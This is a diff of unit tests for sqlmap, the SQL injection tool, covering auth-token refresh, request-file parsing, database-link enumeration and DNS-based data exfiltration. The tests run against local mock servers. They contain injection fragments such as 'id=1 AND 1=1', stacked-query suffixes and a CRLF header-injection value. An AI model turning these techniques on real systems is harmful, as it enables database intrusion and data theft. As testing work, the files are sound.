||||
def _assertTemplate(testCase, exception):
|
||||
match = re.search(r"template script at '([^']+)'", str(exception))
|
||||
testCase.assertIsNotNone(match)
|
||||
path = match.group(1)
|
||||
try:
|
||||
testCase.assertTrue(os.path.basename(path).startswith(MKSTEMP_PREFIX.AUTH_REFRESH))
|
||||
testCase.assertTrue(os.path.isfile(os.path.join(os.path.dirname(path), '__init__.py')))
|
||||
with open(path) as stream:
|
||||
source = stream.read()
|
||||
namespace = {}
|
||||
eval(compile(source, path, 'exec'), namespace)
|
||||
testCase.assertEqual(namespace['refresh'](), {'Authorization': 'Bearer <fresh token>'})
|
||||
testCase.assertNotIn(paths.SQLMAP_EXTRAS_PATH, path)
|
||||
finally:
|
||||
os.unlink(path)
|
||||
|
||||
|
||||
class _Server(socketserver.ThreadingMixIn, BaseHTTPServer.HTTPServer):
|
||||
daemon_threads = True
|
||||
|
||||
|
||||
class _Handler(BaseHTTPServer.BaseHTTPRequestHandler):
|
||||
def log_message(self, *args):
|
||||
pass
|
||||
|
||||
def do_GET(self):
|
||||
self.do_POST()
|
||||
|
||||
def do_POST(self):
|
||||
body = self.rfile.read(int(self.headers.get('Content-Length', '0')))
|
||||
token = self.headers.get('X-Auth-Token')
|
||||
self.server.credentials = (self.headers.get('Cookie'), self.headers.get('Authorization'))
|
||||
if self.path == '/refresh':
|
||||
self.server.refreshes += 1
|
||||
code, body = 200, b'{"token":"fresh"}'
|
||||
else:
|
||||
with self.server.lock:
|
||||
self.server.requests.append((self.path, body, token))
|
||||
if token != self.server.token:
|
||||
self.server.expired += 1
|
||||
if self.server.expired >= 2:
|
||||
self.server.bothExpired.set()
|
||||
if token != self.server.token and self.server.syncExpired:
|
||||
self.server.bothExpired.wait(3)
|
||||
code = 200 if token == self.server.token else 401
|
||||
body = b'ok' if code == 200 else b'expired'
|
||||
self.send_response(302 if self.path == '/redirect' and code == 200 else code)
|
||||
if self.path == '/redirect' and code == 200:
|
||||
self.send_header('Location', self.server.redirect)
|
||||
self.send_header('Content-Type', 'text/plain; charset=utf-8')
|
||||
self.send_header('Content-Length', str(len(body)))
|
||||
self.end_headers()
|
||||
self.wfile.write(body)
|
||||
|
||||
|
||||
class TestAuthRefresh(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self.conf = dict(conf)
|
||||
self.cmdLineOptions = dict(cmdLineOptions)
|
||||
cmdLineOptions.method = None
|
||||
self.kb = dict(kb)
|
||||
self.threadData = dict(getCurrentThreadData().__dict__)
|
||||
getCurrentThreadData().__dict__.clear()
|
||||
getCurrentThreadData().reset()
|
||||
self.timeout = socket.getdefaulttimeout()
|
||||
self.urlopen = _urllib.request.urlopen
|
||||
# Other engine tests replace these descriptors; use the real methods even when an
|
||||
# earlier Python 2 fixture restored a bare function instead of a staticmethod.
|
||||
self.methods = Connect.__dict__['getPage'], Connect.__dict__['queryPage']
|
||||
Connect.getPage, Connect.queryPage = _GET_PAGE, _QUERY_PAGE
|
||||
_setKnowledgeBaseAttributes(False)
|
||||
kb.wizardMode = True
|
||||
self.server = _Server(('127.0.0.1', 0), _Handler)
|
||||
self.server.requests = []
|
||||
self.server.refreshes = 0
|
||||
self.server.token = 'fresh'
|
||||
self.server.expired = 0
|
||||
self.server.syncExpired = False
|
||||
self.server.bothExpired = threading.Event()
|
||||
self.server.lock = threading.Lock()
|
||||
self.thread = threading.Thread(target=self.server.serve_forever)
|
||||
self.thread.daemon = True
|
||||
self.thread.start()
|
||||
conf.url = 'http://127.0.0.1:%d/test' % self.server.server_port
|
||||
conf.hostname, conf.scheme, conf.port = '127.0.0.1', 'http', self.server.server_port
|
||||
conf.path = '/test'
|
||||
conf.httpHeaders = [('X-Auth-Token', 'expired')]
|
||||
conf.parameters = {}
|
||||
conf.data = None
|
||||
conf.abortCode = []
|
||||
conf.ignoreCode = []
|
||||
conf.authRefresh = 'test_refresh.py'
|
||||
conf.batch = True
|
||||
conf.keepAlive = False
|
||||
conf.retryOn = None
|
||||
conf.timeout = 5
|
||||
conf.ignoreRedirects = False
|
||||
conf.scope = None
|
||||
kb.choices.redirect = REDIRECTION.YES
|
||||
_urllib.request.urlopen = _urllib.request.build_opener(_urllib.request.ProxyHandler({}), SmartRedirectHandler()).open
|
||||
|
||||
def refresh():
|
||||
# A real, application-specific token exchange outside sqlmap's request engine.
|
||||
response = _urllib.request.urlopen(conf.url.replace('/test', '/refresh'), timeout=3)
|
||||
try:
|
||||
return {'X-Auth-Token': json.loads(response.read().decode('ascii'))['token']}
|
||||
finally:
|
||||
response.close()
|
||||
|
||||
kb.authRefreshFunction = refresh
|
||||
|
||||
def tearDown(self):
|
||||
self.server.shutdown()
|
||||
self.server.server_close()
|
||||
self.thread.join(5)
|
||||
_urllib.request.urlopen = self.urlopen
|
||||
Connect.getPage, Connect.queryPage = self.methods
|
||||
socket.setdefaulttimeout(self.timeout)
|
||||
conf.clear()
|
||||
conf.update(self.conf)
|
||||
cmdLineOptions.clear()
|
||||
cmdLineOptions.update(self.cmdLineOptions)
|
||||
kb.clear()
|
||||
kb.update(self.kb)
|
||||
getCurrentThreadData().__dict__.clear()
|
||||
getCurrentThreadData().__dict__.update(self.threadData)
|
||||
|
||||
def test_expiry_mid_scan_preserves_payload_and_reuses_headers(self):
|
||||
self.server.token = 'expired'
|
||||
self.assertEqual(Connect.getPage()[2], 200)
|
||||
self.assertEqual(self.server.refreshes, 0)
|
||||
self.server.token = 'fresh'
|
||||
payload = b'id=1%20AND%201%3D1&other=keep'
|
||||
self.assertEqual(Connect.getPage(get='marker=123', post=payload)[2], 200)
|
||||
self.assertEqual(self.server.requests[-2:], [('/test?marker=123', payload, 'expired'), ('/test?marker=123', payload, 'fresh')])
|
||||
self.assertEqual(Connect.getPage()[2], 200)
|
||||
self.assertEqual(self.server.refreshes, 1)
|
||||
self.assertEqual(getCurrentThreadData().lastCode, 200)
|
||||
self.assertEqual(getCurrentThreadData().lastPage, 'ok')
|
||||
self.assertNotEqual(kb.originalCode, 401)
|
||||
|
||||
def test_second_401_stops_after_one_replay(self):
|
||||
kb.authRefreshFunction = lambda: {'X-Auth-Token': 'still-expired'}
|
||||
with self.assertRaises(SqlmapConnectionException):
|
||||
Connect.getPage()
|
||||
self.assertEqual(len(self.server.requests), 2)
|
||||
self.assertTrue(kb.authRefreshFailed)
|
||||
|
||||
def test_abort_code_takes_precedence(self):
|
||||
conf.abortCode = [401]
|
||||
with self.assertRaises(SystemExit):
|
||||
Connect.getPage()
|
||||
self.assertEqual(self.server.refreshes, 0)
|
||||
self.assertEqual(len(self.server.requests), 1)
|
||||
|
||||
def test_without_option_preserves_401_behavior(self):
|
||||
conf.authRefresh = None
|
||||
with self.assertRaises(SqlmapConnectionException):
|
||||
Connect.getPage()
|
||||
self.assertEqual(self.server.refreshes, 0)
|
||||
|
||||
def test_concurrent_401s_share_one_refresh(self):
|
||||
self.server.syncExpired = True
|
||||
results, errors = [], []
|
||||
|
||||
def worker():
|
||||
try:
|
||||
results.append(Connect.getPage()[2])
|
||||
except Exception as ex:
|
||||
errors.append(ex)
|
||||
|
||||
workers = [threading.Thread(target=worker) for _ in range(2)]
|
||||
for workerThread in workers:
|
||||
workerThread.start()
|
||||
for workerThread in workers:
|
||||
workerThread.join(10)
|
||||
self.assertFalse(workerThread.is_alive())
|
||||
self.assertEqual(errors, [])
|
||||
self.assertEqual(results, [200, 200])
|
||||
self.assertEqual(self.server.refreshes, 1)
|
||||
self.assertEqual(self.server.expired, 2)
|
||||
|
||||
def test_invalid_hook_results_are_rejected_without_leaking_secrets(self):
|
||||
for result in (None, {}, 'secret-token', {'X-Token': 'secret\r\nInjected: value'}, {'Host': 'elsewhere'}, {'X-Token': 42}, {'X-Token': 'secret', 'x-token': 'other'}):
|
||||
kb.authRefreshFailed = False
|
||||
kb.authRefreshFunction = lambda: result
|
||||
with self.assertRaises(SqlmapConnectionException) as caught:
|
||||
authrefresh.refresh(0)
|
||||
self.assertNotIn('secret', str(caught.exception))
|
||||
_assertTemplate(self, caught.exception)
|
||||
self.assertEqual(kb.authRefreshVersion, 0)
|
||||
|
||||
def test_hook_exception_is_sanitized(self):
|
||||
def refresh():
|
||||
raise ValueError('password=secret')
|
||||
kb.authRefreshFunction = refresh
|
||||
with self.assertRaises(SqlmapConnectionException) as caught:
|
||||
Connect.getPage()
|
||||
self.assertNotIn('secret', str(caught.exception))
|
||||
_assertTemplate(self, caught.exception)
|
||||
self.assertEqual(len(self.server.requests), 1)
|
||||
|
||||
def test_credentials_are_scoped_to_scheme_host_and_port(self):
|
||||
authrefresh.refresh(0)
|
||||
for url in ('http://elsewhere/test', 'https://127.0.0.1/test', 'http://127.0.0.1:1/test'):
|
||||
req = _urllib.request.Request(url)
|
||||
self.assertIsNone(authrefresh.apply(req))
|
||||
self.assertEqual(req.headers, {})
|
||||
self.assertTrue(authrefresh.sameOrigin('https://example.com', 'https://example.com:443/path'))
|
||||
|
||||
def test_refresh_overrides_stale_preprocess_headers(self):
|
||||
kb.preprocessFunctions = [lambda req: req.add_header('X-Auth-Token', 'expired')]
|
||||
self.assertEqual(Connect.getPage()[2], 200)
|
||||
self.assertEqual(self.server.refreshes, 1)
|
||||
|
||||
def test_redirect_to_another_port_does_not_receive_refreshed_token(self):
|
||||
authrefresh.refresh(0)
|
||||
other = _Server(('127.0.0.1', 0), _Handler)
|
||||
other.requests, other.token, other.expired = [], None, 0
|
||||
other.lock = threading.Lock()
|
||||
other.syncExpired = False
|
||||
thread = threading.Thread(target=other.serve_forever)
|
||||
thread.daemon = True
|
||||
thread.start()
|
||||
try:
|
||||
self.server.redirect = 'http://127.0.0.1:%d/landing' % other.server_port
|
||||
Connect.getPage(url=conf.url.replace('/test', '/redirect'))
|
||||
self.assertEqual(other.requests, [('/landing', b'', None)])
|
||||
self.assertEqual(self.server.refreshes, 1)
|
||||
finally:
|
||||
other.shutdown()
|
||||
other.server_close()
|
||||
thread.join(5)
|
||||
|
||||
def test_redirect_to_another_host_does_not_receive_credentials(self):
|
||||
# Note: user-supplied Cookie/Authorization must not leak to a different host (#6185), while the same host keeps them
|
||||
conf.authRefresh = None
|
||||
conf.httpHeaders = [('X-Auth-Token', 'fresh'), ('Cookie', 'session=secret'), ('Authorization', 'Bearer secret')]
|
||||
other = _Server(('127.0.0.1', 0), _Handler)
|
||||
other.requests, other.token, other.expired = [], 'fresh', 0
|
||||
other.lock = threading.Lock()
|
||||
other.syncExpired = False
|
||||
thread = threading.Thread(target=other.serve_forever)
|
||||
thread.daemon = True
|
||||
thread.start()
|
||||
try:
|
||||
for host, expected in (('localhost', (None, None)), ('127.0.0.1', ('session=secret', 'Bearer secret'))):
|
||||
other.credentials = None
|
||||
self.server.redirect = 'http://%s:%d/landing' % (host, other.server_port)
|
||||
Connect.getPage(url=conf.url.replace('/test', '/redirect'))
|
||||
self.assertEqual(other.credentials, expected)
|
||||
finally:
|
||||
other.shutdown()
|
||||
other.server_close()
|
||||
thread.join(5)
|
||||
|
||||
def test_auth_refresh_latency_is_excluded_from_query_timing(self):
|
||||
import lib.request.connect as connect
|
||||
originalPage, originalDelta = Connect.getPage, connect.calculateDeltaSeconds
|
||||
|
||||
def getPage(**kwargs):
|
||||
getCurrentThreadData().authRefreshTime += 12
|
||||
return 'ok', None, 200
|
||||
|
||||
Connect.getPage = staticmethod(getPage)
|
||||
connect.calculateDeltaSeconds = lambda start: 15
|
||||
try:
|
||||
Connect.queryPage(content=True)
|
||||
self.assertEqual(getCurrentThreadData().lastQueryDuration, 3)
|
||||
finally:
|
||||
Connect.getPage = staticmethod(originalPage)
|
||||
connect.calculateDeltaSeconds = originalDelta
|
||||
|
||||
|
||||
class TestAuthRefreshLoader(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self.directory = tempfile.mkdtemp(prefix='sqlmap-authrefresh-')
|
||||
self.oldOption = conf.authRefresh
|
||||
self.oldFunction = kb.authRefreshFunction
|
||||
self.oldPath = list(sys.path)
|
||||
|
||||
def tearDown(self):
|
||||
conf.authRefresh = self.oldOption
|
||||
kb.authRefreshFunction = self.oldFunction
|
||||
sys.path[:] = self.oldPath
|
||||
for name in list(sys.modules):
|
||||
if name.startswith('authrefresh_test_'):
|
||||
del sys.modules[name]
|
||||
shutil.rmtree(self.directory)
|
||||
|
||||
def script(self, name, content):
|
||||
path = os.path.join(self.directory, 'authrefresh_test_%s.py' % name)
|
||||
with open(path, 'w') as stream:
|
||||
stream.write(content)
|
||||
conf.authRefresh = path
|
||||
|
||||
def test_load_does_not_call_refresh(self):
|
||||
self.script('valid', "def refresh():\n raise AssertionError('must only run on 401')\n")
|
||||
_setAuthRefreshFunction()
|
||||
self.assertTrue(callable(kb.authRefreshFunction))
|
||||
|
||||
def test_missing_invalid_and_empty_scripts_point_to_template(self):
|
||||
for name, source in (('empty', ''), ('wrong', 'def other():\n pass\n'), ('args', 'def refresh(req):\n pass\n'), ('syntax', 'def refresh(:')):
|
||||
self.script(name, source)
|
||||
with self.assertRaises(SqlmapSyntaxException) as caught:
|
||||
_setAuthRefreshFunction()
|
||||
_assertTemplate(self, caught.exception)
|
||||
conf.authRefresh = os.path.join(self.directory, 'missing.py')
|
||||
with self.assertRaises(SqlmapFilePathException) as caught:
|
||||
_setAuthRefreshFunction()
|
||||
_assertTemplate(self, caught.exception)
|
||||
|
||||
def test_help_is_one_line(self):
|
||||
output = subprocess.check_output([sys.executable, os.path.join(paths.SQLMAP_ROOT_PATH, 'sqlmap.py'), '-hh'])
|
||||
lines = output.decode('utf-8').splitlines()
|
||||
matches = [i for i, line in enumerate(lines) if '--auth-refresh' in line]
|
||||
self.assertEqual(len(matches), 1)
|
||||
self.assertIn('HTTP 401', lines[matches[0]])
|
||||
self.assertLessEqual(len(lines[matches[0]]), 78)
|
||||
for option in ('--preprocess', '--postprocess'):
|
||||
self.assertLess(matches[0], next(i for i, line in enumerate(lines) if option in line))
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
unittest.main()
|
||||
|
|
@ -21,6 +21,7 @@ stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x.
|
|||
|
||||
import atexit
|
||||
import base64
|
||||
import json
|
||||
import os
|
||||
import shutil
|
||||
import sys
|
||||
|
|
@ -524,6 +525,35 @@ class TestParseRequestFileBurp(unittest.TestCase):
|
|||
self.assertEqual(method, HTTPMETHOD.GET)
|
||||
self.assertEqual(cookie, "SID=xyz")
|
||||
|
||||
def test_burp_xml_history_protocol(self):
|
||||
# Note: item's <protocol> decides the scheme (the port alone can't tell e.g. HTTPS on 8443 or HTTP on 443)
|
||||
req = base64.b64encode(b"GET /vuln.php?id=1 HTTP/1.1\r\nHost: www.target.com\r\n\r\n").decode()
|
||||
items = "".join('<item><port>%s</port>\n<protocol>%s</protocol><request base64="true"><![CDATA[%s]]></request></item>' % (port, protocol, req) for port, protocol in ((8443, "https"), (443, "http"), (443, "https"), (8080, "")))
|
||||
path = _write_temp("<items>%s</items>" % items, ".xml")
|
||||
try:
|
||||
targets = list(parseRequestFile(path))
|
||||
finally:
|
||||
os.unlink(path)
|
||||
|
||||
self.assertEqual([_[0] for _ in targets], ["https://www.target.com:8443/vuln.php?id=1", "http://www.target.com:443/vuln.php?id=1", "https://www.target.com:443/vuln.php?id=1", "http://www.target.com:8080/vuln.php?id=1"])
|
||||
self.assertTrue(all("://" not in value for _ in targets for key, value in _[4] if key == "Host"))
|
||||
|
||||
def test_har_log(self):
|
||||
# Note: HAR (HTTP Archive) logs (e.g. ZAP, browsers), including HTTP/2 entries (pseudo-headers, no Host)
|
||||
entries = [
|
||||
{"request": {"method": "GET", "url": "https://www.target.com:8443/vuln.php?id=1", "headers": [{"name": "Host", "value": "www.target.com:8443"}, {"name": "Cookie", "value": "SID=xyz"}]}},
|
||||
{"request": {"method": "POST", "url": "https://www.target.com/api", "headers": [{"name": ":authority", "value": "www.target.com"}, {"name": "content-type", "value": "application/json"}], "postData": {"text": '{"id": 1}'}}},
|
||||
{"request": {"method": "GET", "url": "https://www.target.com/logo.png", "headers": []}},
|
||||
]
|
||||
path = _write_temp(json.dumps({"log": {"version": "1.2", "entries": entries}}), ".har")
|
||||
try:
|
||||
targets = list(parseRequestFile(path))
|
||||
finally:
|
||||
os.unlink(path)
|
||||
|
||||
self.assertEqual([_[:4] for _ in targets], [("https://www.target.com:8443/vuln.php?id=1", HTTPMETHOD.GET, None, "SID=xyz"), ("https://www.target.com/api", HTTPMETHOD.POST, '{"id": 1}', None)])
|
||||
self.assertEqual(targets[1][4], (("Host", "www.target.com"), ("content-type", "application/json")))
|
||||
|
||||
def test_post_body_captured(self):
|
||||
content = (
|
||||
"======================================================\n"
|
||||
|
|
|
|||
|
|
@ -70,6 +70,21 @@ class TestGetHostHeader(unittest.TestCase):
|
|||
def test_without_port(self):
|
||||
self.assertEqual(getHostHeader("http://example.com/path"), "example.com")
|
||||
|
||||
def test_default_ports_depend_on_scheme(self):
|
||||
cases = (
|
||||
("http://example.com:80/path", "example.com"),
|
||||
("https://example.com:443/path", "example.com"),
|
||||
("http://example.com:443/path", "example.com:443"),
|
||||
("https://example.com:80/path", "example.com:80"),
|
||||
("HTTP://example.com:443/path", "example.com:443"),
|
||||
("http://[::1]:80/path", "[::1]"),
|
||||
("https://[::1]:443/path", "[::1]"),
|
||||
("http://[::1]:443/path", "[::1]:443"),
|
||||
("https://[::1]:80/path", "[::1]:80"),
|
||||
)
|
||||
for url, expected in cases:
|
||||
self.assertEqual(getHostHeader(url), expected, msg=url)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main(verbosity=2)
|
||||
|
|
|
|||
|
|
@ -113,14 +113,23 @@ class TestConfigFileRoundTrip(unittest.TestCase):
|
|||
try:
|
||||
conf.url = "http://127.0.0.1:1/?id=1"
|
||||
conf.commonTables = True
|
||||
conf.getLinks = True
|
||||
conf.getAudit = True
|
||||
conf.authRefresh = "refresh_auth.py"
|
||||
conf.tablePrefix = "zzz"
|
||||
saveConfig(conf, path)
|
||||
|
||||
conf.url, conf.commonTables, conf.tablePrefix = None, False, "overwritten"
|
||||
conf.getLinks = False
|
||||
conf.getAudit = False
|
||||
conf.authRefresh = None
|
||||
configFileParser(path)
|
||||
|
||||
self.assertEqual(conf.url, "http://127.0.0.1:1/?id=1")
|
||||
self.assertTrue(conf.commonTables)
|
||||
self.assertTrue(conf.getLinks)
|
||||
self.assertTrue(conf.getAudit)
|
||||
self.assertEqual(conf.authRefresh, "refresh_auth.py")
|
||||
self.assertEqual(conf.tablePrefix, "zzz")
|
||||
finally:
|
||||
conf.clear()
|
||||
|
|
|
|||
|
|
@ -17,6 +17,8 @@ the suite.
|
|||
"""
|
||||
|
||||
import os
|
||||
import sqlite3
|
||||
import subprocess
|
||||
import sys
|
||||
import unittest
|
||||
|
||||
|
|
@ -25,7 +27,7 @@ from _testutils import bootstrap, set_dbms, reset_dbms
|
|||
|
||||
bootstrap()
|
||||
|
||||
from lib.core.data import conf, kb
|
||||
from lib.core.data import conf, kb, queries
|
||||
from lib.core.enums import EXPECTED, PAYLOAD
|
||||
import plugins.generic.databases as dbmod
|
||||
from plugins.generic.databases import Databases
|
||||
|
|
@ -284,6 +286,28 @@ class TestGetTables(_BaseEnumTest):
|
|||
self.assertIn("testdb", result)
|
||||
self.assertEqual(sorted(result["testdb"]), sorted(tables))
|
||||
|
||||
def test_get_tables_inference_spanner(self):
|
||||
# Spanner's blind template must page per row (it used to crash with "not all arguments converted", #6151)
|
||||
set_dbms("Spanner")
|
||||
self._enable_inference()
|
||||
d = self._fresh()
|
||||
conf.db = "testdb"
|
||||
conf.tbl = None
|
||||
|
||||
tables = ["t_a", "t_b"]
|
||||
queries_ = []
|
||||
|
||||
def gv(query, *a, **k):
|
||||
if k.get("expected") == EXPECTED.INT:
|
||||
return str(len(tables))
|
||||
queries_.append(query)
|
||||
return [tables[len(queries_) - 1]]
|
||||
|
||||
dbmod.inject.getValue = gv
|
||||
result = d.getTables()
|
||||
self.assertEqual(sorted(result["testdb"]), sorted(tables))
|
||||
self.assertEqual([_.endswith("OFFSET %d" % i) for i, _ in enumerate(queries_)], [True, True])
|
||||
|
||||
|
||||
class TestGetColumns(_BaseEnumTest):
|
||||
def _run_direct(self, dbms, db, tbl, rows):
|
||||
|
|
@ -500,6 +524,110 @@ class TestGetSchema(_BaseEnumTest):
|
|||
self.assertEqual(result["testdb"]["users"].get("id"), "int")
|
||||
|
||||
|
||||
class TestGetLinks(_BaseEnumTest):
|
||||
def setUp(self):
|
||||
_BaseEnumTest.setUp(self)
|
||||
self._saved_links = kb.data.get("cachedLinks")
|
||||
|
||||
def tearDown(self):
|
||||
kb.data.cachedLinks = self._saved_links
|
||||
_BaseEnumTest.tearDown(self)
|
||||
|
||||
def test_unsupported_dbms_does_not_query(self):
|
||||
d = self._fresh()
|
||||
dbmod.inject.getValue = lambda *a, **k: self.fail("unsupported DBMS must not query links")
|
||||
saved = dbmod.logger.warning
|
||||
warnings = []
|
||||
try:
|
||||
dbmod.logger.warning = warnings.append
|
||||
for dbms in queries:
|
||||
if "links" not in queries[dbms]:
|
||||
set_dbms(dbms)
|
||||
self.assertEqual(d.getLinks(), [])
|
||||
self.assertIn(dbms, warnings[-1])
|
||||
finally:
|
||||
dbmod.logger.warning = saved
|
||||
|
||||
def test_direct_links_and_cache(self):
|
||||
conf.direct = True
|
||||
for dbms in ("Microsoft SQL Server", "Oracle"):
|
||||
set_dbms(dbms)
|
||||
d = self._fresh()
|
||||
calls = []
|
||||
|
||||
def gv(query, **kwargs):
|
||||
calls.append(query)
|
||||
return [["remote -> db.example"], ["other -> <unknown>"]]
|
||||
|
||||
dbmod.inject.getValue = gv
|
||||
expected = ["remote -> db.example", "other -> <unknown>"]
|
||||
self.assertEqual(d.getLinks(), expected)
|
||||
self.assertEqual(d.getLinks(), expected)
|
||||
self.assertEqual(calls, [queries[dbms].links.inband.query])
|
||||
|
||||
def test_blind_links_use_zero_based_paging(self):
|
||||
self._enable_inference()
|
||||
for dbms in ("Microsoft SQL Server", "Oracle"):
|
||||
set_dbms(dbms)
|
||||
d = self._fresh()
|
||||
calls = []
|
||||
values = iter(["2", ["first -> host1"], ["second -> host2"]])
|
||||
|
||||
def gv(query, **kwargs):
|
||||
calls.append(query)
|
||||
return next(values)
|
||||
|
||||
dbmod.inject.getValue = gv
|
||||
self.assertEqual(d.getLinks(), ["first -> host1", "second -> host2"])
|
||||
root = queries[dbms].links
|
||||
self.assertEqual(calls, [root.blind.count, root.blind.query % 0, root.blind.query % 1])
|
||||
|
||||
def test_empty_direct_results(self):
|
||||
set_dbms("Microsoft SQL Server")
|
||||
conf.direct = True
|
||||
d = self._fresh()
|
||||
dbmod.inject.getValue = lambda *a, **k: None
|
||||
self.assertEqual(d.getLinks(), [])
|
||||
|
||||
def test_oracle_query_paging_and_null_destination(self):
|
||||
# Evaluate the catalog/paging SQL with compatible SQLite expressions; live Oracle is
|
||||
# not required for this check of owner-qualified names, NULL handling and row offsets.
|
||||
conn = sqlite3.connect(":memory:")
|
||||
try:
|
||||
conn.create_function("NVL", 2, lambda value, default: default if value is None else value)
|
||||
conn.execute("CREATE TABLE ALL_DB_LINKS (OWNER TEXT, DB_LINK TEXT, HOST TEXT)")
|
||||
conn.executemany("INSERT INTO ALL_DB_LINKS VALUES (?,?,?)", [("PUBLIC", "REMOTE", "db.example"), ("APP", "REMOTE", None)])
|
||||
root = queries["Oracle"].links
|
||||
expected = ["APP.REMOTE -> <unknown>", "PUBLIC.REMOTE -> db.example"]
|
||||
self.assertEqual([row[0] for row in conn.execute(root.inband.query)], expected)
|
||||
self.assertEqual(conn.execute(root.blind.count).fetchone()[0], 2)
|
||||
self.assertEqual([conn.execute(root.blind.query % i).fetchone()[0] for i in range(2)], expected)
|
||||
self.assertIsNone(conn.execute(root.blind.query % 2).fetchone())
|
||||
finally:
|
||||
conn.close()
|
||||
|
||||
def test_empty_or_unavailable_blind_count_does_not_fetch_rows(self):
|
||||
set_dbms("Oracle")
|
||||
self._enable_inference()
|
||||
for count in (0, "0", None, "unavailable"):
|
||||
d = self._fresh()
|
||||
|
||||
def gv(query, **kwargs):
|
||||
self.assertEqual(kwargs.get("expected"), EXPECTED.INT)
|
||||
return count
|
||||
|
||||
dbmod.inject.getValue = gv
|
||||
self.assertEqual(d.getLinks(), [])
|
||||
|
||||
def test_help_is_one_line(self):
|
||||
output = subprocess.check_output([sys.executable, os.path.join(os.path.dirname(__file__), "..", "sqlmap.py"), "-hh"])
|
||||
lines = output.decode("utf-8").splitlines()
|
||||
helpLines = [line for line in lines if "--links" in line]
|
||||
self.assertEqual(len(helpLines), 1)
|
||||
self.assertIn("Enumerate DBMS links", helpLines[0])
|
||||
self.assertLessEqual(len(helpLines[0]), 78)
|
||||
|
||||
|
||||
class TestGetProcedures(_BaseEnumTest):
|
||||
def test_procedures_direct_pgsql(self):
|
||||
set_dbms("PostgreSQL")
|
||||
|
|
|
|||
|
|
@ -43,9 +43,13 @@ bootstrap()
|
|||
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import Backend
|
||||
from lib.core.data import conf, kb
|
||||
from lib.core.data import conf, kb, queries
|
||||
from lib.core.datatype import AttribDict
|
||||
from lib.core.datatype import InjectionDict
|
||||
from lib.core.threads import getCurrentThreadData
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.enums import PAYLOAD
|
||||
from lib.core.enums import PLACE
|
||||
from lib.core.exception import SqlmapNotVulnerableException
|
||||
from lib.core.settings import DNS_BOUNDARIES_ALPHABET
|
||||
from lib.core.settings import MAX_DNS_LABEL
|
||||
|
|
@ -80,7 +84,8 @@ class _HighPortDNSServer(DNSServer):
|
|||
except socket.error:
|
||||
pass
|
||||
|
||||
_CONF = {"dnsDomain": "exfil.test", "hexConvert": False, "api": False, "verbose": 0, "forceDns": False}
|
||||
_CONF = {"dnsDomain": "exfil.test", "hexConvert": False, "api": False, "verbose": 0, "forceDns": False,
|
||||
"suffix": None, "direct": False}
|
||||
_KB = {"dnsTest": True, "dnsMode": False, "bruteMode": False, "safeCharEncode": False}
|
||||
|
||||
|
||||
|
|
@ -252,6 +257,73 @@ class TestDnsExfilEngineMssql(TestDnsExfilEngine):
|
|||
DBMS_NAME = "Microsoft SQL Server"
|
||||
|
||||
|
||||
class TestDnsStackedSuffix(_DnsCase):
|
||||
def setUp(self):
|
||||
_DnsCase.setUp(self)
|
||||
restore_attrs(self._s_agent)
|
||||
self._saved_target = {k: conf.get(k) for k in ("parameters", "paramDict", "prefix")}
|
||||
self._saved_injection = {k: kb.get(k) for k in ("injection", "technique", "forceWhere")}
|
||||
conf.parameters = {PLACE.GET: "id=1"}
|
||||
conf.paramDict = {PLACE.GET: {"id": "1"}}
|
||||
conf.prefix = " /* custom prefix */"
|
||||
kb.technique = PAYLOAD.TECHNIQUE.BOOLEAN
|
||||
kb.forceWhere = None
|
||||
kb.injection = InjectionDict()
|
||||
kb.injection.place = PLACE.GET
|
||||
kb.injection.parameter = "id"
|
||||
kb.injection.prefix = conf.prefix
|
||||
kb.injection.suffix = "; SELECT 999-- inferred suffix"
|
||||
kb.injection.clause = [1]
|
||||
kb.injection.data[PAYLOAD.TECHNIQUE.BOOLEAN] = AttribDict({"where": PAYLOAD.WHERE.ORIGINAL, "comment": "-- inferred comment"})
|
||||
|
||||
def tearDown(self):
|
||||
for k, v in self._saved_target.items():
|
||||
conf[k] = v
|
||||
for k, v in self._saved_injection.items():
|
||||
kb[k] = v
|
||||
_DnsCase.tearDown(self)
|
||||
|
||||
def _extract_with_suffix(self, suffix):
|
||||
secret = "The quick brown fox jumps over the lazy dog 0123456789"
|
||||
conf.suffix = suffix
|
||||
|
||||
for dbms in (DBMS.MSSQL, DBMS.PGSQL):
|
||||
set_dbms(dbms)
|
||||
self._install_oracle(secret)
|
||||
oracle = Connect.queryPage
|
||||
payloads = []
|
||||
|
||||
def require_suffix(payload, **kwargs):
|
||||
sql = agent.removePayloadDelimiters(payload)
|
||||
payloads.append(sql)
|
||||
# Model an endpoint that accepts the DNS payload only with its required ending.
|
||||
if suffix and not sql.endswith(suffix):
|
||||
return None
|
||||
return oracle(payload, **kwargs)
|
||||
|
||||
Connect.queryPage = staticmethod(require_suffix)
|
||||
self.assertEqual(dnsmod.dnsUse("unused", "SELECT secret"), secret, dbms)
|
||||
self.assertGreater(len(payloads), 1, dbms)
|
||||
for payload in payloads:
|
||||
self.assertTrue(payload.startswith("id=1%s; " % conf.prefix), dbms)
|
||||
self.assertNotIn("-- inferred", payload)
|
||||
if suffix is None:
|
||||
self.assertTrue(payload.endswith(queries[dbms].comment.query), dbms)
|
||||
elif suffix:
|
||||
self.assertTrue(payload.endswith(suffix), dbms)
|
||||
else:
|
||||
self.assertFalse(payload.endswith(queries[dbms].comment.query), dbms)
|
||||
|
||||
def test_explicit_suffix_survives_every_chunk(self):
|
||||
self._extract_with_suffix("; SELECT 4973-- required suffix")
|
||||
|
||||
def test_default_comment_without_explicit_suffix(self):
|
||||
self._extract_with_suffix(None)
|
||||
|
||||
def test_explicit_empty_suffix_does_not_add_comment(self):
|
||||
self._extract_with_suffix("")
|
||||
|
||||
|
||||
class TestDnsLabelInvariant(_DnsCase):
|
||||
"""The exfil chunk is hex-encoded into ONE DNS label, so the label dnsUse emits must never
|
||||
exceed the 63-octet DNS label limit - otherwise the query carries an invalid (over-long) label
|
||||
|
|
|
|||
86
tests/test_dork_search.py
Normal file
86
tests/test_dork_search.py
Normal file
|
|
@ -0,0 +1,86 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
|
||||
